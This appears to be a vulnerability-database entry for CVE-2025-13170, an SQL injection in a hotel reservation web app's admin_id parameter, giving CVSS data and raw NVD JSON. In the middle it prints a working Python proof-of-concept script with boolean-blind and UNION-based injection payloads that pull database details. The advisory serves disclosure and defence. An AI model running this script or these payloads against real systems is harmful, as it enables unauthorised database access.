Security Vulnerability Report
中文
CVE-2025-13170 CVSS 7.3 HIGH

CVE-2025-13170

Published: 2025-11-14 16:15:54
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was detected in code-projects Simple Online Hotel Reservation System 1.0. This issue affects some unknown processing of the file /admin/edit_account.php. Performing a manipulation of the argument admin_id results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:fabian:simple_online_hotel_reservation_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Simple Online Hotel Reservation System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13170 SQL Injection PoC # Target: Simple Online Hotel Reservation System 1.0 # Vulnerability: /admin/edit_account.php admin_id parameter def exploit(target_url, admin_id): """ SQL Injection exploit for CVE-2025-13170 Tests for boolean-based blind SQL injection """ # Normal request baseline normal_url = f"{target_url}/admin/edit_account.php?admin_id={admin_id}" try: normal_resp = requests.get(normal_url, timeout=10) normal_length = len(normal_resp.text) # Boolean-based blind SQL injection test # If 'admin' exists, the condition is true and page behaves normally true_payload = f"{admin_id}' AND '1'='1" false_payload = f"{admin_id}' AND '1'='2" true_url = f"{target_url}/admin/edit_account.php?admin_id={true_payload}" false_url = f"{target_url}/admin/edit_account.php?admin_id={false_payload}" true_resp = requests.get(true_url, timeout=10) false_resp = requests.get(false_url, timeout=10) # If true and false responses differ, vulnerability exists if len(true_resp.text) != len(false_resp.text): print(f"[+] SQL Injection Vulnerability Confirmed!") print(f"[+] Target: {target_url}") print(f"[+] Vulnerable Parameter: admin_id") print(f"[*] Normal response length: {normal_length}") print(f"[*] True condition length: {len(true_resp.text)}") print(f"[*] False condition length: {len(false_resp.text)}") return True else: print("[-] Vulnerability not detected") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False def extract_data(target_url, admin_id): """ Extract database information using UNION-based injection """ # Database version extraction payload = f"{admin_id}' UNION SELECT NULL,version(),user(),database()-- -" url = f"{target_url}/admin/edit_account.php?admin_id={payload}" try: resp = requests.get(url, timeout=10) if 'UNION' in resp.text or len(resp.text) > 0: print(f"[*] Database extraction payload sent") print(f"[*] Check response for database information") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13170.py <target_url> <admin_id>") print("Example: python cve-2025-13170.py http://localhost 1") sys.exit(1) target = sys.argv[1].rstrip('/') admin_id = sys.argv[2] print(f"[*] Testing CVE-2025-13170 SQL Injection") print(f"[*] Target: {target}") if exploit(target, admin_id): print("\n[*] Attempting data extraction...") extract_data(target, admin_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13170", "sourceIdentifier": "[email protected]", "published": "2025-11-14T16:15:53.737", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in code-projects Simple Online Hotel Reservation System 1.0. This issue affects some unknown processing of the file /admin/edit_account.php. Performing a manipulation of the argument admin_id results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:simple_online_hotel_reservation_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "BB45381F-7BBB-408B-98AA-D931AC3C779B"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pfdlyy/CVE/issues/1", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.332458", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.332458", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.684617", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.685870", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.698602", "source": "[email protected]"}]}}